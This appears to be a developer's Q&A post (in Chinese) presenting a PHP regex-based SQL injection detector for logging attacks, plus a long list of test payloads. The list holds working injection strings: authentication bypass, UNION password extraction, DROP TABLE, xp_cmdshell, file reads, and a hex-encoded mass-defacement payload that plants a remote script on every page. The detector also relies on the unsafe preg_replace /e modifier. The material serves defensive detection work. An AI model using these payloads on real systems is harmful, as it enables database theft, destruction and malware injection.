SQL Injection Detection:有没有注入的样例?

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我用一个regexs列表检查GET、POST和Cookie超级全局文件中的SQL注入。它们在检测是否找到SQL注入方面是非常有效的。我在各种SQL注入文档中看到了很多注入攻击,但是我在找更复杂的,可能不被考虑的。

我清楚地知道最好的方法来保护它--验证/清理输入和参数化查询,但是这个脚本不是为了保护,而是记录潜在的攻击,脚本如下:

<?php

    testArray($_GET);
    testArray($_POST);
    testArray($_COOKIE);

    function testArray($array)
    {
        foreach ($array as $name => $value)
        {
            if(is_array($value) === true)
            {
                testArray($value);
            }
            else
            {
                testHelper($value);
            }
        }
    }

    function testHelper($varvalue)
    {
        $total = test($varvalue);
        echo '<h3 style="'.($total > 0 ? 'color:red;' : 'color:green;').'">'.nl2br($varvalue).'</h3>';
        echo '<span style="'.($total > 0 ? 'color:red;' : 'color:green;').'">';
        echo 'total = '.$total.'
';
        echo '</span><br />';
    }

    function test($varvalue, $_comment_loop=false)
    {
        $total = 0;
        $varvalue_orig = $varvalue;
        $quote_pattern = '\%27|\'|\%22|\"|\%60|`';
//      detect base64 encoding
        if(preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $varvalue) > 0 && base64_decode($varvalue) !== false)
        {
            $varvalue = base64_decode($varvalue);
        }

//      detect and remove comments
        if(preg_match('!/\*.*?\*/!s', $varvalue) > 0)
        {
            if($_comment_loop === false)
            { 
                $total += test($varvalue_orig, true);
                $varvalue = preg_replace('!/\*.*?\*/!s', '', $varvalue);
            }
            else
            {
                $varvalue = preg_replace('!/\*.*?\*/!s', ' ', $varvalue);
            }
            $varvalue = preg_replace('/\n\s*\n/', "\n", $varvalue);
        }
        $varvalue = preg_replace('/((\-\-|\#)([^\\n]*))\\n/si', ' ', $varvalue);

//      detect and replace hex encoding
//      detect and replace decimal encodings
        if(preg_match_all('/&#x([0-9]{2});/', $varvalue, $matches) > 0 || preg_match_all('/&#([0-9]{2})/', $varvalue, $matches) > 0)
        {
//          replace numeric entities
            $varvalue = preg_replace('/&#x([0-9a-f]{2});?/ei', 'chr(hexdec("\\1"))', $varvalue);
            $varvalue = preg_replace('/&#([0-9]{2});?/e', 'chr("\\1")', $varvalue);
//          replace literal entities
            $trans_tbl = get_html_translation_table(HTML_ENTITIES);
            $trans_tbl = array_flip($trans_tbl);
            $varvalue = strtr($varvalue, $trans_tbl);
        }

        $and_pattern = '(\%41|a|\%61)(\%4e|n|%6e)(\%44|d|\%64)';
        $or_pattern = '(\%6F|o|\%4F)(\%72|r|\%52)';
        $equal_pattern = '(\%3D|=)';
        $regexes = array(
                '/(\-\-|\#|\/\*)\s*$/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*\\4\s*/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')(\d+)\\4\s*'.$equal_pattern.'\s*\\5\s*/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')\\4\\6?/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')?(\d+)\\4?/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]*)\\4\\5\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
                '/((('.$quote_pattern.')\s*)|\s+)'.$or_pattern.'\s+([a-z_]+)/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*(d+)/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*([a-z_]+)/si',
                '/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
                '/('.$quote_pattern.')?\s*\)\s*'.$or_pattern.'\s*\(\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
                '/('.$quote_pattern.'|\d)?(;|%20|\s)*(union|select|insert|update|delete|drop|alter|create|show|truncate|load_file|exec|concat|benchmark)((\s+)|\s*\()/ix',
                '/from(\s*)information_schema.tables/ix',
            );

        foreach ($regexes as $regex)
        {
            $total += preg_match($regex, $varvalue);
        }
        return $total;
    }

攻击样本:

testArray(array(
    "' or 1=1--", 
    "' or 1-- ", 
    "' or 1-- adasd ", 
    "' or 1", 
    "\" or '1'", 
    "' or 1=1--", 
    "or 1=1--", 
    "' OR ''='", 
    "' or 'a'='a", 
    '" or "a"="a', 
    "') or ('a'='a",
    "'; exec master..xp_cmdshell 'ping 10.10.1.2'--",
    "'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
    "10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--",
    "10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--",
    "' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='",
    "' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''='",
    "'OR''='",
    "' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='",
    "' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='",
    "' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='",
    "' OR (SELECT COUNT(*) FROM users)>10 AND ''='",
    "' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='",
    "' OR EXISTS(SELECT * FROM users WHERE name!='jake' AND name LIKE '%a%') AND ''='",
    "' or '1'='1' -- '",
    "' or '1'='1' ({ '",
    "' or '1'='1' /* '",
    "1;DROP TABLE `users`",
    "10;DROP members --",
    "x' AND email IS NULL; --",
    "x' AND 1=(SELECT COUNT(*) FROM tabname); --",
    "x' AND members.email IS NULL; --",
    "x';
        INSERT INTO members ('email','passwd','login_id','full_name') 
        VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--",
    "x';
      UPDATE members
      SET email = 'steve@unixwiz.net'
      WHERE email = 'bob@example.com",
    "23 OR 1=1",
    "23' OR 1=1",
    "\''; DROP TABLE users; --",

    "Bill O''Reilly",
    "the new album'\"s and totally shit....get back to glasgow and write some good tunes.",
    "the new album's and totally shit....get back to glasgow and write some good tune's.",
    "the new album's and totally shit.....",
    "lee crossan",
    "\"123\"",
    "111 /*This is my comment...*/UN/*Can You*/IO/*Find It*/N/**/ S/**/E/*    
*/LE/*Another comment to*/CT/*Find. Can you dig*//*it*/*",
    "&#x31;&#x20;&#x55;&#x4E;&#x49;&#x4F;&#x4E;&#x20;&#x53;&#x45;&#x4C;&#x45;&#x43;&#x54;&#x20;&#x41;&#x4C;&#x4C;&#x20;&#x46;&#x52;&#x4F;&#x4D;&#x20;&#x57;&#x48;&#x45;&#x52;&#x45;",
    "&#49&#32&#85&#78&#73&#79&#78&#32&#83&#69&#76&#69&#67&#84&#32&#65&#76&#76&#32&#70&#82&#79&#77&#32&#87&#72&#69&#82&#69",
    "71985' OR 1 = 1",
    "71985 OR 1 = 1",
    "71985 OR 1 =1",
    "71985 OR 1=1",
    "71985 OR 1= 1",
    "71985' OR '1'= 1",
    "71985 OR '1'= 1",
    "71985 OR 1= '1'",
    "71985 OR '5555",
    "71985 OR '' = '",
    "71985 OR '' = \"",
    "71985 OR ' ' = \" ",
    "71985 OR '_' = \"_",
    "71985 OR user_id",
    "71985 OR user_id=123",
    "71985 OR user_id =123",
    "71985 OR user_id ='asd",
    "71985 OR 'asd' = user_id",
    "71985 OR user_id = user_id",
    "71985 OR 'a' = 'a",
    "71985 OR 'a' = '",
    "71985 OR 'a' = 'a';--",
    "71985 OR 'a' = 'a';",
    "preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', \$varvalue) > 0 && base64_decode(\$varvalue) !== false)",
    '1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- ',
    'ar/news/global/2008/12/16/radio_1_christmas_show',
    '202534599.1295899315.1.1.utmcsr=xxx.xxx.de|utmccn=(referral)|utmcmd=referral|utmcct=/xxx/xxx/blog/dc11656b/',
    'Aptly describes how a close-minded society can make a person feel. To think that this same society would target young adolescents is unconscionable. Thanks for the song.',
    '; SELECT(xxxx) ',
    'Aptly describes how a close-minded society can make a person feel. Thanks for the song.',
    "';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);",
    '; SELECT LOAD_FILE(0x633A5C626F6F742E696E69)',
    'SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))',
    'SELECT CHAR(75)+CHAR(76)+CHAR(77)',
    'SELECT login || \'-\' || password FROM members',
    'DROP/*comment*/sampletable',
    ';DR/**/OP/*bypass blacklisting*/sampletable',
    ';DR/**/OP/*bypass blacklisting*/ sampletable',
    ';DR/*
*/OP/*bypass blacklisting*/ sampletable',
    ';DR--
OP--
sampletable',
    ';DROP-- eranious data
TABLE --
sampletable',
    '1;SELECT/*avoid-spaces*/password/**/FROM/**/Members ',
    'SELECT /*!32302 1/0, */ 1 FROM tablename',
    "' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--",
    "1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
    "-1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL-- ",
    "11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- ",
    "11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- ",
    ",0 UNION ALL SELECT 1,'x'/*,10 ;",
    "';shutdown --",
    "(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')",
    "BENCHMARK(howmanytimes, do this)",
    "BENCHMARK (howmanytimes, do this)",
    "1 union select benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1",
    "this is not a attack but -- 
plain text comment that someone could write.
",
    "what about this; or that or them!",
));
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